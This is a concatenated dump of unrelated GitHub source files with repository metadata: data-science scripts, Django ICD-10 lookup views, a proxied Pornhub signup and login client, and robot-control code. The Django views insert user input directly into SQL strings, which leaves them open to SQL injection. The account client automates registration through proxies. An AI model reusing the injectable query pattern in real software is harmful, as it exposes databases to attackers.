0 0 0 0 0 0 0
'''
import sys
sys.stdin = open("input.txt", "r")
n = int(input())
a = [list(map(int, input().split())) for _ in range(n)] #격자판의 한 줄을 리스트로 읽어들이는걸 n번 반복
# 격자 겉부분을 모두 0으로 채우는 과정
#------------------------------------------------
a.insert(0, [0]*n) #맨 윗줄에 0으로 채워진 리스트 추가
a.append([0]*n) # 맨 아랫줄에 0으로 채워진 리스트 추가
for i in a:
i.insert(0,0)
i.append(0)
#------------------------------------------------
cnt = 0
dx = [-1, 0, 1, 0] # 행
dy = [0, 1, 0, -1] # 열
for i in range(1, n+1): #0은 가장자리이므로 1부터 돌아야함
for j in range(1, n+1):
if(all(a[i][j] > a[i+dx[k]][j+dy[k]] for k in range(4))): #상하좌우 탐색
cnt += 1
print(cnt)
| [
"htchoi1006@kookmin.ac.kr"
] | htchoi1006@kookmin.ac.kr |
e391070f15e48adc1a704e910937495fceb5ab8b | 83f45cc80f26ea47965dc3dd4e7131786eab677f | /data_preprocessing/preprocess/county_locations.py | f1249e5247c4493eb59ad5175933ee6a5a6484eb | [
"MIT"
] | permissive | HannaMao/Context-Aware-Representation-Crop-Yield-Prediction-1 | f5864aa7523df42e7e3343a49adb5745154db2ef | 9c29459e9521303f40d9d6aaa938da0c23ab4ad8 | refs/heads/main | 2023-07-08T09:30:37.721935 | 2020-09-17T21:49:24 | 2020-09-17T21:49:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,724 | py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import os
from netCDF4 import Dataset
import numpy as np
import numpy.ma as ma
from pathlib import Path
import pandas as pd
import matplotlib.pyplot as plt
import csv
import sys
sys.path.append("..")
from data_preprocessing.utils import match_lat_lon
from data_preprocessing.plot import counties_plot
def generate_convert_to_nc_script():
fh_out = open('../../processed_data/counties/all/convert_to_nc.sh', 'w')
fh_out.write('#!/bin/bash\n')
for tif_file in os.listdir('../../processed_data/counties/all/tif/'):
if tif_file.endswith('.tif'):
fh_out.write('gdal_translate -of netCDF tif/{} nc/{}.nc\n'.format(tif_file, tif_file[:-4]))
def combine_ncs():
fh_out = Dataset('../../processed_data/counties/us_counties.nc', 'w')
fh_ref = Dataset('../../processed_data/landcover/cropland_cro.nc', 'r')
lats, lons = fh_ref.variables['lat'][:], fh_ref.variables['lon'][:]
for name, dim in fh_ref.dimensions.items():
fh_out.createDimension(name, len(dim))
for v_name, varin in fh_ref.variables.items():
if v_name in ['lat', 'lon']:
outVar = fh_out.createVariable(v_name, varin.datatype, (v_name,))
outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})
outVar[:] = varin[:]
outVar = fh_out.createVariable('county_label', 'int', ('lat', 'lon'))
outVar.setncatts({'_FillValue': np.array([0]).astype(int)})
counties_labels = np.full((len(lats), len(lons)), 0)
outVar = fh_out.createVariable('state_code', 'int', ('lat', 'lon'))
outVar.setncatts({'_FillValue': np.array([0]).astype(int)})
state_code = np.full((len(lats), len(lons)), 0)
outVar = fh_out.createVariable('county_code', 'int', ('lat', 'lon'))
outVar.setncatts({'_FillValue': np.array([0]).astype(int)})
county_code = np.full((len(lats), len(lons)), 0)
for nc_file in os.listdir('../../processed_data/counties/all/nc/'):
if nc_file.endswith('.nc'):
# ignore Alaska
if nc_file.split('_')[0] == '2':
continue
print(nc_file)
fh_in = Dataset('../../processed_data/counties/all/nc/{}'.format(nc_file), 'r')
local_lats, local_lons = fh_in.variables['lat'][:], fh_in.variables['lon'][:]
i_lat_start, i_lat_end, i_lon_start, i_lon_end = match_lat_lon(lats, lons, local_lats, local_lons)
local_values = ma.masked_equal(fh_in.variables['Band1'][:], 0.0)
for i, j in zip(*local_values.nonzero()):
state, county = nc_file[:-3].split('_')
state = str(state).zfill(2)
county = str(county).zfill(3)
counties_labels[i+i_lat_start, j+i_lon_start] = int(state+county)
state_code[i+i_lat_start, j+i_lon_start] = int(state)
county_code[i+i_lat_start, j+i_lon_start] = int(county)
fh_in.close()
fh_out.variables['county_label'][:] = ma.masked_equal(counties_labels, 0)
fh_out.variables['state_code'][:] = ma.masked_equal(state_code, 0)
fh_out.variables['county_code'][:] = ma.masked_equal(county_code, 0)
fh_ref.close()
fh_out.close()
def mask_with_landcover(out_file, ref_file):
fh_in = Dataset('../../processed_data/counties/us_counties.nc', 'r')
fh_out = Dataset(out_file, 'w')
fh_ref = Dataset(ref_file, 'r')
for name, dim in fh_in.dimensions.items():
fh_out.createDimension(name, len(dim))
for v_name, varin in fh_in.variables.items():
outVar = fh_out.createVariable(v_name, varin.datatype, varin.dimensions)
outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})
if v_name in ['lat', 'lon']:
outVar[:] = varin[:]
else:
cropland_mask = ma.getmaskarray(fh_ref.variables['cropland'][:])
outVar[:] = ma.array(varin[:], mask=cropland_mask)
fh_in.close()
fh_out.close()
fh_ref.close()
def plot_counties(in_file):
fh = Dataset(in_file, 'r')
county_labels = fh.variables['county_label'][:]
print(len(np.unique(county_labels.compressed())))
fh.close()
county_labels = np.unique(county_labels.compressed())
county_labels = [[str(x).zfill(5)[:2], str(x).zfill(5)[2:]] for x in county_labels]
data_dic = {}
for state, county in county_labels:
data_dic[state+county] = 100
fake_quantiles = {x: 1 for x in [0.05, 0.2, 0.4, 0.6, 0.8, 0.95]}
counties_plot(data_dic, Path('../../processed_data/counties/{}.html'.format(in_file[:-3])), fake_quantiles)
return data_dic.keys()
def plot_counties_data(in_file):
county_data = pd.read_csv(in_file)[['StateFips', 'CntyFips']]
county_data.columns = ['State', 'County']
data_dic = {}
for row in county_data.itertuples():
state, county = int(row.State), int(row.County)
state = str(state).zfill(2)
county = str(county).zfill(3)
data_dic[state + county] = 100
fake_quantiles = {x: 1 for x in [0.05, 0.2, 0.4, 0.6, 0.8, 0.95]}
counties_plot(data_dic, Path('../../processed_data/counties/county_data.html'), fake_quantiles)
return data_dic.keys()
def analyze_counties(in_file):
fh = Dataset(in_file, 'r')
counties, sizes = np.unique(fh.variables['county_label'][:].compressed(), return_counts=True)
for county, size in zip(counties, sizes):
print(county, size)
plt.hist(sizes)
plt.show()
def get_county_locations(in_file):
fh = Dataset(in_file, 'r')
lats, lons = fh.variables['lat'][:], fh.variables['lon'][:]
county_labels = fh.variables['county_label'][:]
counties = np.unique(county_labels.compressed())
with open('{}_locations.csv'.format(in_file[:-3]), 'w') as f:
writer = csv.writer(f, delimiter=',')
writer.writerow(['state', 'county', 'lat', 'lon'])
for county in counties:
selected_rows, selected_cols = np.where(county_labels == county)
lat_mean, lon_mean = np.mean(lats[selected_rows]), np.mean(lons[selected_cols])
line = [str(county).zfill(5)[:2], str(county).zfill(5)[2:], lat_mean, lon_mean]
writer.writerow(line)
if __name__ == '__main__':
# generate_convert_to_nc_script()
combine_ncs()
# mask_with_landcover('../../processed_data/counties/us_counties_cro.nc',
# '../../processed_data/landcover/cropland_cro.nc')
# mask_with_landcover('../../processed_data/counties/us_counties_cro_cvm.nc',
# '../../processed_data/landcover/cropland_cro_cvm.nc')
#
# county_key = plot_counties_data('../../processed_data/counties/county_data.csv')
# us_county_key = plot_counties('../../processed_data/counties/us_counties.nc')
# print([x for x in us_county_key if x not in county_key])
# print([x for x in county_key if x not in us_county_key and not x.startswith('02')])
# plot_counties('../../processed_data/counties/us_counties_cro.nc')
# plot_counties('../../processed_data/counties/us_counties_cro_cvm.nc')
#
# analyze_counties('../../processed_data/counties/us_counties.nc')
# analyze_counties('../../processed_data/counties/us_counties_cro.nc')
# analyze_counties('../../processed_data/counties/us_counties_cro_cvm.nc')
# get_county_locations('../../processed_data/counties/us_counties.nc')
# get_county_locations('../../processed_data/counties/us_counties_cro.nc')
# get_county_locations('../../processed_data/counties/us_counties_cro_cvm.nc')
| [
"hannamao@fb.com"
] | hannamao@fb.com |
a38ed6e688d5611c5e80126515266da0fc1ed0e5 | 37d09d797ec508a3b488b0a2656e7b6c1b2b99a7 | /nozad/icd10/views.py | 837681d69cd860951f6de41a52b227206d2abbaf | [] | no_license | javadkhd/jj | d3071dcef4b9dfeec54f8c6b278817fad8221fca | 1b2bdf1047024955b1fea55a16a39a4784cc7540 | refs/heads/master | 2023-06-07T21:41:05.661237 | 2021-06-27T09:14:03 | 2021-06-27T09:14:03 | 374,952,434 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,596 | py | import re
from urllib import parse
from pprint import pprint
from django.http import JsonResponse
from django.shortcuts import render, redirect, get_object_or_404
from django.db import connection
import sqlite3
from collections import defaultdict
def col_1():
con = sqlite3.connect('db.sqlite3')
cursorObj = con.cursor()
cursorObj.execute('SELECT دستگاه FROM Sheet۱ ')
col1 = set(cursorObj.fetchall())
col11 = list()
for item in col1:
col11.append(item[0].strip())
# print(col11)
return col11
def col_10(request):
term = request.GET.get('term', None)
term = term.split()
strings = 'SELECT "شرح کد(Value)" FROM Sheet۱ WHERE "شرح کد(Value)"'
for word in term:
strings += f' LIKE "%{word}%"'
if word != term[-1]:
strings += ' AND "شرح کد(Value)"'
con = sqlite3.connect('db.sqlite3')
cursorObj = con.cursor()
cursorObj.execute(strings)
explanations = cursorObj.fetchall()
# print(explanations)
return JsonResponse(
{
'explanations': explanations,
}
)
def col_11(request):
explanation = request.GET.get('explanation', None)
explanation = explanation.split()
explanation.remove('Select')
explanation = " ".join(explanation)
con = sqlite3.connect('db.sqlite3')
cursorObj = con.cursor()
query_text = f'SELECT "کدملی(Code)" FROM Sheet۱ WHERE "شرح کد(Value)" LIKE "%{explanation}%"'
cursorObj.execute(query_text)
orginal_code = cursorObj.fetchall()
akbar = set()
akbar.add(orginal_code[0][0])
query_text = f'SELECT توضیحات FROM Sheet۱ WHERE "شرح کد(Value)" LIKE "%{explanation}%"'
cursorObj.execute(query_text)
description = cursorObj.fetchall()
description = description[0][0]
if description:
reg1 = re.findall(r"(\d{6})", description) # adad haye tak ra peydamikonad
reg1 = list(map(int, reg1))
reg2 = re.findall(r"(\d{6}) تا (\d{6})", description) # exp : 100010 ta 100020
reg2 = list(map(int, reg2))
reg3 = re.findall(r"(\d{6})\s*-\s*(\d{6})", description) # exp : 100010-100020
reg3 = list(map(int, reg3))
reg4 = re.findall(r"(\d{6}) به بعد", description) # be baad
reg4 = list(map(int, reg4))
# print(reg2)
# print(type(reg2))
# print(type(reg2[0]))
if reg1:
for i in reg1:
akbar.add(i)
if reg2:
for i in range(min(reg2), max(reg2)):
akbar.add(i)
if reg3:
for i in range(min(reg3), max(reg3)):
akbar.add(i)
if reg4:
for i in range(reg4[0], reg4[0] + 10):
akbar.add(i)
# print(akbar)
descriptions = list()
for i in akbar:
query_text = f'SELECT "شرح کد(Value)" FROM Sheet۱ WHERE "کدملی(Code)" LIKE "%{i}%"'
cursorObj.execute(query_text)
descriptions.append(cursorObj.fetchall())
return JsonResponse(
{
'descriptions': descriptions,
}
)
def col_12(request):
explanation = request.GET.get('explanation', None)
explanation = explanation.split()
explanation.remove('Select')
explanation = " ".join(explanation)
con = sqlite3.connect('db.sqlite3')
cursorObj = con.cursor()
query_text = f'SELECT "کدملی(Code)" FROM Sheet۱ WHERE "شرح کد(Value)" LIKE "%{explanation}%"'
cursorObj.execute(query_text)
code = cursorObj.fetchall()
return JsonResponse(
{
'code': code,
}
)
def col_13(request):
data = request.GET.get('arr', None)
data = list(set(re.findall(r"(\d{6})", data)))
con = sqlite3.connect('db.sqlite3')
cursorObj = con.cursor()
my_dict = dict()
for elem in data:
my_dict[elem] = dict()
query_text = f'SELECT توضیحات FROM Sheet۱ WHERE "کدملی(Code)" LIKE "%{elem}%"'
cursorObj.execute(query_text)
des = cursorObj.fetchall()
my_dict[elem]['des'] = des[0][0]
query_text = f'SELECT "شرح کد(Value)" FROM Sheet۱ WHERE "کدملی(Code)" LIKE "%{elem}%"'
cursorObj.execute(query_text)
expl = cursorObj.fetchall()
my_dict[elem]['expl'] = expl[0][0]
# pprint(my_dict)
del data
my_list = list()
for k, v in my_dict.items():
expl = v['expl']
des = v['des']
if des == None:
des = ""
if ("(عمل مستقل)" in expl) or ("کد ديگري" in des):
if len(my_dict.keys()) > 1:
report = f"کد {k} همراه با کد دیگری قابل قبول نیست."
my_list.append(report)
if "به جز کد" in des:
pattern3 = r"\(به جز کد (\d{6})\)"
num = re.findall(pattern3, des)
if num not in my_dict.keys():
report = f"کد {k} همراه با کد انتخابی قابل قبول نیست."
my_list.append(report)
if des:
###########################
pattern1 = r"(\(این کد.*\d{6}.*نمیباشد\))"
# print(des)
new_des = re.findall(pattern1, des)
# print(new_des)
if new_des:
new_des = new_des[0]
else:
new_des = ""
nums = re.findall(r"(\d{6})", new_des)
if any(i in my_dict.keys() for i in nums):
report = f"کد {k} با کد یا کدهای {nums} تداخل دارد."
my_list.append(report)
###########################
pattern2 = r"گزارش نگردد"
if re.findall(pattern2, des):
nums = re.findall(r"(\d{6})", new_des)
if any(i in my_dict.keys() for i in nums):
report = f"کد {k} با کد یا کدهای {nums} تداخل دارد."
my_list.append(report)
###########################
del my_dict
if not my_list:
my_list = 200
return JsonResponse(
{
'status_code': my_list,
}
)
from .models import Icd10
def col_14(request):
first_name = request.GET.get('first_name', None)
# print(type(first_name))
last_name = request.GET.get('last_name', None)
# print(last_name)
doctor_name = request.GET.get('doctor_name', None)
# print(doctor_name)
national_code = request.GET.get('national_code', None)
# print(national_code)
codes = request.GET.get('codes', None)
print(codes)
print(type(codes))
if not all([first_name, last_name, doctor_name, national_code, codes]):
return JsonResponse(
{
'status_code': 400,
}
)
asghar = Icd10.objects.create()
asghar.first_name = first_name
asghar.last_name = last_name
asghar.doctorname = doctor_name
asghar.nationalcode = national_code
asghar.codes = codes
asghar.save()
return JsonResponse(
{
'status_code': 200,
}
)
def nozad(request):
"""
This view will send data to page
"""
db_col_1 = col_1()
return render(
request=request,
context={
'db_col_1': db_col_1,
},
template_name='icd10/index.html'
)
def edit(request):
return render(
request=request,
context={
},
template_name='icd10/edit.html'
)
| [
"j.khadem95@gmail.com"
] | j.khadem95@gmail.com |
e1544ac802408a8bf030f8fb07b8b72b80dcac7c | ac122d54df21e3efcea1d4e887cf3f86400b2c8e | /bringyourownproxies/sites/pornhub/account.py | 14fbf1fa4f6af40e622f11440fb31b18120a9707 | [] | no_license | IAlwaysBeCoding/bringyourownproxies | 26db3f09cd88844a02750a14da8040b4c5fd6576 | 045772135e37aaac272b2b6e9863b6762835532a | refs/heads/master | 2020-04-15T11:29:42.591421 | 2015-11-13T23:03:11 | 2015-11-13T23:03:11 | 31,229,220 | 6 | 4 | null | null | null | null | UTF-8 | Python | false | false | 5,778 | py | # -*- coding: utf-8 -*-
#!/usr/bin/python
from bringyourownproxies.errors import AccountProblem,InvalidLogin,ParsingProblem
from bringyourownproxies.httpclient import HttpSettings
from bringyourownproxies.sites.account import _Account
__all__ = ['PornhubAccount']
class PornhubAccount(_Account):
SITE = 'Pornhub'
SITE_URL = 'www.pornhub.com'
def __init__(self,username,password,email,**kwargs):
self.remember_me = kwargs.pop('remember_me') if kwargs.get('remember_me',False) else False
super(PornhubAccount,self).__init__(username=username,password=password,email=email,**kwargs)
@classmethod
def create(cls,username,password,email,**kwargs):
from lxml import etree
from lxml.etree import HTMLParser
from bringyourownproxies.httpclient import HttpSettings
from bringyourownproxies.errors import CannotFindVar
remember_me = kwargs.get('remember_me',False)
http_settings = kwargs.get('http_settings',HttpSettings())
session = http_settings.session
proxy = http_settings.proxy
session.get('http://www.pornhub.com',proxies=proxy)
create_page = session.get('http://www.pornhub.com/create_account',proxies=proxy)
doc = etree.fromstring(create_page.content,HTMLParser())
found_signup_key = doc.xpath('//input[@name="signup_key"]/@value')
found_signup_hash = doc.xpath('//input[@name="signup_hash"]/@value')
found_signup_id = doc.xpath('//input[@name="signup_id"]/@value')
if not found_signup_key:
raise CannotFindVar('Cannot find signup_key in pornhub.com')
if not found_signup_hash:
raise CannotFindVar('Cannot find signup_hash in pornhub.com')
if not found_signup_id:
raise CannotFindVar('Cannot find signup_id in pornhub.com')
signup_key = found_signup_key[0]
signup_hash = found_signup_hash[0]
signup_id = found_signup_id[0]
post = {'signup_key':signup_key,
'signup_hash':signup_hash,
'signup_id':signup_id,
'check_what':'username',
'email':email,
'username':username,
'password':password,
'agreed':'1'}
session.headers.update({'X-Requested-With':'XMLHttpRequest'})
session.post('http://www.pornhub.com/user/create_account_check',proxies=proxy)
create_account = session.post('http://www.pornhub.com/create_account',data=post,proxies=proxy)
errors = []
doc = etree.fromstring(create_account.content,HTMLParser())
found_errors = doc.xpath('//div[@class="error"]/div')
if found_errors:
errors = [error.text[2:len(error.text)-1] for error in found_errors]
raise AccountProblem('Failed creating account at pornhub due to errors:{e}'.format(e=' AND '.join(errors)))
found_confirmation = doc.xpath('//div[@class="sprite-signup-confirmation absolute"]')
if found_confirmation:
return True
else:
raise AccountProblem('Failed creating account at pornhub for unknown problem')
@staticmethod
def verify_account(http_settings,imap_server,username,password,ssl=True):
from lxml import etree
from lxml.etree import HTMLParser,tostring
clicked_link = _Account.verify_account_in_html_email(http_settings,
imap_server,
username,
password,
sender='pornhub.com',
clues=('text','Activate Your Account'),
match_substring=True,
ssl=True)
doc = etree.fromstring(clicked_link,HTMLParser())
found_success_msg = doc.xpath('//div[@class="success"]')
if found_success_msg:
return True
else:
error_msg = doc.xpath('//div[@class="error"]//div')
if error_msg:
raise AccountProblem('Failed verifying pornhub account ' \
'due to:{e}'.format(
e=error_msg[0].text[2:len(error_msg[0].text)-1]))
raise AccountProblem('Failed verifying pornhub account due to unknown error')
def login(self):
attempt_login = self._login(extra_post_vars = {"loginPage":1,
"redirectTo":"",
"remember_me": "on" if self.remember_me else "off",
"submit_login":"true"},
ajax=True,
before_post_url='http://www.pornhub.com/login',
before_post_url_vars={"login_key":None,"login_hash":None},
post_url='http://www.pornhub.com/front/login_json')
response = attempt_login.json()
if int(response['success']) == 1:
return True
else:
if response['message'] == 'Invalid username/password!':
raise InvalidLogin('Wrong username or password')
else:
raise AccountProblem('Unknown problem while login into Pornhub message:{m}'.format(m=response['message']))
raise AccountProblem('Unknown problem while login into Pornhub')
def is_logined(self):
return self._is_logined(sign_out_xpath='//li[@class="signOut"]')
| [
"tedwantsmore@gmx.com"
] | tedwantsmore@gmx.com |
95c521e0caa0a0528325ba4954d10f1e4e232a2d | 81a95cd239caaa775367848d73738522adeb2513 | /pymtl/classes/applicative.py | 60bbcc1c0baa1c814cf084339e0ea0f5bb896762 | [] | no_license | jali-clarke/PyMTL | 28cc7caeb4170a9aed3fd180efe99a883da33c43 | 6abf7173fc105e0c2a6387c52a8cd6a0ed58ba1a | refs/heads/master | 2022-02-23T09:08:28.218575 | 2019-09-17T02:58:43 | 2019-09-17T02:58:43 | 208,918,878 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 267 | py | import abc
from .functor import Functor
class Applicative(Functor):
@classmethod
@abc.abstractmethod
def pure(cls, a):
pass
@abc.abstractmethod
def ap(self, fa):
pass
def fmap(self, f):
return self.pure(f).ap(self) | [
"coder@dev.lan"
] | coder@dev.lan |
7d05b715727ad5d5fd20872c4299ebc0e0a481e2 | c0e37f1011d5e01ac373db2947008afdf5c871a6 | /venv/bin/cheroot | 490cf62605b67f152613aa239141aacaa06c3586 | [] | no_license | marcelohjw/interwebs | 7e77a54e198627a03cd49f0e272ab09ec3855c9f | f8f0d35da4677370eea512f82f3b82cf4b0d7cb7 | refs/heads/master | 2023-03-29T20:00:44.466674 | 2021-04-04T12:04:49 | 2021-04-04T12:04:49 | 354,526,198 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | #!/Users/mjj/PycharmProjects/interwebs/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from cheroot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"marcelohjw@gmail.com"
] | marcelohjw@gmail.com | |
809004ba15b4faf10b513855dbc0ec5256e2228a | c682d1f08b357a094a489c6e1c2080117ea50e31 | /Python3/convert_a_number_to_hexadecimal.py | ca7e17ae28514185b73889a87a96c14f6ccaeff0 | [] | no_license | eric82714/LeetCode_405--Convert-a-Number-to-Hexadecimal | f14ecad823f38f6cbe57ba89e176f8a796a4b5a5 | 0670e8105b542587cd5a42e5719bb33c82b3085d | refs/heads/master | 2021-05-23T15:18:21.165936 | 2020-04-06T00:22:43 | 2020-04-06T00:22:43 | 253,357,720 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 423 | py | class Solution:
def toHex(self, num: int) -> str:
if num == 0: return "0"
uNum = num if num > 0 else num + 2**32;
result = "";
chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
while uNum > 0:
digit = uNum % 16
result = chars[digit] + result
uNum //= 16
return result
| [
"noreply@github.com"
] | eric82714.noreply@github.com |
634d0fd70bc87fb7c05bda9280f5e83fa5dd523c | e4eb62382cf48f8598f41041235e76ea96b36cd3 | /multispinsys/GenEigFunc.py | 65765589181e0f0702407243641e30c20f0bacd9 | [
"Apache-2.0"
] | permissive | Marcupio/SpinProgram | f79e5fe9dbec21ee8d262fc9dd3d1d4ef844dfd6 | 4d47e5e5048423ae69869a0300558e1fee809bf0 | refs/heads/master | 2021-06-12T13:08:14.523778 | 2021-05-27T19:27:00 | 2021-05-27T19:27:00 | 176,645,772 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,618 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Mar 7 18:48:47 2019
@author: nac2313
"""
import numpy as np
import Hamiltonians as H
import time
import multiprocessing as mp
import random
from multiprocessing import Pool
import os
import pathlib as pl
import FilteredStates as fs
#This code will generate, filter, and store eigenvalues and eigenfuctions for Hamiltonians as a function of some parameter, in this case disorder(gamma).
#This code can be quite resource intensive, start with a small system size (N=8) and go from there.
N = 9
o = 'open'
p = 'periodic'
modex=o
modey=o
gamamt1=20
gammax1 =30
c=np.sqrt(2)
uniform1='False'
#For an odd number of spins, the total SZ needs to be (oddnumber)*0.5
# and abs(oddnumber*0.5) <= N*0.5
Sztotal = 0.5
gammas = np.linspace(0.5,gammax1,gamamt1)
Nstates=10
J1=1
J2=1
phiamt=10
Nlegs = 3
c2 = str(round(c,3))#rounds the value of c out to 3 decimal places and converts it to string to be used in file destination
filename = 'Eigfuncs__%dx%d_%dphis_J1_%d__J2_%d__%dgammas_%dgammax__%dNstates__%sx_%sy_disorder_onX_onY__c%s__uniform_%s' % (N/Nlegs,Nlegs,phiamt,J1,J2,gamamt1,gammax1,Nstates,modex,modey,c2,uniform1)
print(filename)#used as a double check to ensure that all parameters are correct; all pertainent info is in the filename.
def getrand():
return(random.uniform(0,np.pi))
def getEigFun(gamma1):
def getH(phi):
Hfull = H.nlegHeisenberg.blockH(N,Nlegs,c,TotalSz=Sztotal,Js=[J1,J2],gamma=[gamma1,gamma1],phi=[phi[0],phi[1]], modex1=modex, modey1=modey,uniform=uniform1)
return(sum(Hfull))
def getEvecsvals(Htot):
vals, vecs = fs.filterHstates(Htot,Nstates)#gets closest Nstates to given energy density (enden). enden is default 0.5
return(vals,vecs)
start=time.time()
phis = [(getrand(),getrand()) for i in range(phiamt)]
Hamiltonians = list(map(getH,phis))
data = list(map(getEvecsvals,Hamiltonians))
end=time.time()
print('time for gamma: ',end-start)
return(gamma1,data)
#if __name__=='__main__':#issues with multiprocessing on some computers
#p = Pool(2)
start=time.time()
Eigfuncs = np.asarray(list(map(getEigFun,gammas)),object)#use p.map for multiprocessing
Evecs = [[Eigfuncs[g][1][i][1] for i in range(phiamt)]for g in range(gamamt1)]
Evals = [[Eigfuncs[g][1][i][0]for i in range(phiamt)]for g in range(gamamt1)]
#print(Evecs)
end=time.time()
print('total time: ',end-start)
#saves data for Eigfuncs
str1 = pl.PurePath(modex+'x_'+modey+'y')#sorts by boundary conditions first
path = pl.PurePath(os.getcwd()).parent/'Data'/str1/'Eigenfunctions' ###path and filepaths are objects which allow the program to locate data
filename = 'Eigfuncs__%dx%d_%dphis_J1_%d__J2_%d__%dgammas_%dgammax__%dNstates__%sx_%sy_disorder_onX_onY__c%s__uniform_%s' % (N/Nlegs,Nlegs,phiamt,J1,J2,gamamt1,gammax1,Nstates,modex,modey,c2,uniform1)
filepath = path/filename
#Eigfuncs['Evals','Evecs']
#Each Element (row) in Evals, and Evecs, corresponds to a single gamma from the array np.linspace(0.5,gammax,gamamt).
#Each element in a given gamma-row corresponds to the list of eigenvalues/vectors for a single (phi1,phi2) pair used by the Hamiltonian module.
#e.g. Eigfuncsfile['Evals'][0] gives the set of eigenvalue sets for a certain gamma, and Eigfuncsfile['Evals'][0][0] gives the set of eigenvalues pertaining to a single phi-pair, for a certain gamma.
np.savez(str(filepath),Evecs=Evecs,Evals=Evals)#saves the pair of arrays as filname['Evecs','Evals']
| [
"32853691+Marcupio@users.noreply.github.com"
] | 32853691+Marcupio@users.noreply.github.com |
c2efc4f9c3599aa83f9a3a738a9ad0f480999c49 | 3744f434039df4efcc4b63dbdbcc0e0cce97f3d1 | /roach/python/velociroach.py | 2187b3c6034a8447099e9ff1a460364678a1f589 | [] | no_license | cemkoc/CBC_Biomimetic_Project | 240ecbd0705f2f596d58d74deae852d8d1588bd7 | a528faa2e07f110c20e2b8b30c6497daa0080470 | refs/heads/master | 2021-01-10T13:33:53.260446 | 2015-11-17T23:30:58 | 2015-11-17T23:30:58 | 46,089,038 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 16,474 | py | import glob
import time
import sys
from lib import command
from callbackFunc_multi import xbee_received
import datetime
import serial
import shared_multi as shared
from struct import pack,unpack
from xbee import XBee
from math import ceil,floor
import numpy as np
import scipy.io
# TODO: check with firmware if this value is actually correct
PHASE_180_DEG = 0x8000
class GaitConfig:
motorgains = None
duration = None
rightFreq = None
leftFreq = None
phase = None
repeat = None
deltasLeft = None
deltasRight = None
def __init__(self, motorgains = None, duration = None, rightFreq = None, leftFreq = None, phase = None, repeat = None):
if motorgains == None:
self.motorgains = [0,0,0,0,0 , 0,0,0,0,0]
else:
self.motorgains = motorgains
self.duration = duration
self.rightFreq = rightFreq
self.leftFreq = leftFreq
self.phase = phase
self.repeat = repeat
class Velociroach:
motor_gains_set = False
robot_queried = False
flash_erased = False
currentGait = GaitConfig()
dataFileName = ''
telemtryData = [ [] ]
numSamples = 0
telemSampleFreq = 1000
VERBOSE = True
telemFormatString = '%d' # single type forces all data to be saved in this type
SAVE_DATA = False
RESET = False
RECORDSHELL = False
def __init__(self, address, xb):
self.DEST_ADDR = address
self.DEST_ADDR_int = unpack('>h',self.DEST_ADDR)[0] #address as integer
self.xb = xb
print "Robot with DEST_ADDR = 0x%04X " % self.DEST_ADDR_int
def clAnnounce(self):
print "DST: 0x%02X | " % self.DEST_ADDR_int,
def tx(self, status, type, data):
payload = chr(status) + chr(type) + ''.join(data)
self.xb.tx(dest_addr = self.DEST_ADDR, data = payload)
def reset(self):
self.clAnnounce()
print "Resetting robot..."
self.tx( 0, command.SOFTWARE_RESET, pack('h',1))
def sendEcho(self, msg):
self.tx( 0, command.ECHO, msg)
def query(self, retries = 8):
self.robot_queried = False
tries = 1
while not(self.robot_queried) and (tries <= retries):
self.clAnnounce()
print "Querying robot , ",tries,"/",retries
self.tx( 0, command.WHO_AM_I, "Robot Echo") #sent text is unimportant
tries = tries + 1
time.sleep(0.1)
#TODO: getting flash erase to work is critical to function testing (pullin)
#existing VR firmware does not send a packet when the erase is done, so this will hang and retry.
def eraseFlashMem(self, timeout = 8):
eraseStartTime = time.time()
self.tx( 0, command.ERASE_SECTORS, pack('L',self.numSamples))
self.clAnnounce()
print "Started flash erase ..."
while not (self.flash_erased):
#sys.stdout.write('.')
time.sleep(0.25)
if (time.time() - eraseStartTime) > timeout:
print"Flash erase timeout, retrying;"
self.tx( 0, command.ERASE_SECTORS, pack('L',self.numSamples))
eraseStartTime = time.time()
def setPhase(self, phase):
self.clAnnounce()
print "Setting phase to 0x%04X " % phase
self.tx( 0, command.SET_PHASE, pack('l', phase))
time.sleep(0.05)
def startTimedRun(self, duration):
self.clAnnounce()
print "Starting timed run of",duration," ms"
self.tx( 0, command.START_TIMED_RUN, pack('H', duration))
time.sleep(0.05)
def startRun(self):
self.clAnnounce()
print "Starting run of indefinite time"
self.tx( 0, command.PID_START_MOTORS,'')
time.sleep(0.05)
def stopRun(self):
self.clAnnounce()
print "Stopping run"
self.tx( 0, command.PID_STOP_MOTORS,'')
time.sleep(0.05)
def findFileName(self):
# Construct filename
path = 'Data/'
name = 'trial'
datetime = time.localtime()
dt_str = time.strftime('%Y.%m.%d_%H.%M.%S', datetime)
root = path + dt_str + '_' + name
self.dataFileName = root + '_imudata.txt'
#self.clAnnounce()
#print "Data file: ", shared.dataFileName
def setVelProfile(self, gaitConfig):
self.clAnnounce()
print "Setting stride velocity profile to: "
periodLeft = 1000.0 / gaitConfig.leftFreq
periodRight = 1000.0 / gaitConfig.rightFreq
deltaConv = 0x4000 # TODO: this needs to be clarified (ronf, dhaldane, pullin)
lastLeftDelta = 1-sum(gaitConfig.deltasLeft) #TODO: change this to explicit entry, with a normalization here
lastRightDelta = 1-sum(gaitConfig.deltasRight)
temp = [int(periodLeft), int(gaitConfig.deltasLeft[0]*deltaConv), int(gaitConfig.deltasLeft[1]*deltaConv),
int(gaitConfig.deltasLeft[2]*deltaConv), int(lastLeftDelta*deltaConv) , 0, \
int(periodRight), int(gaitConfig.deltasRight[0]*deltaConv), int(gaitConfig.deltasRight[1]*deltaConv),
int(gaitConfig.deltasRight[2]*deltaConv), int(lastRightDelta*deltaConv), 0]
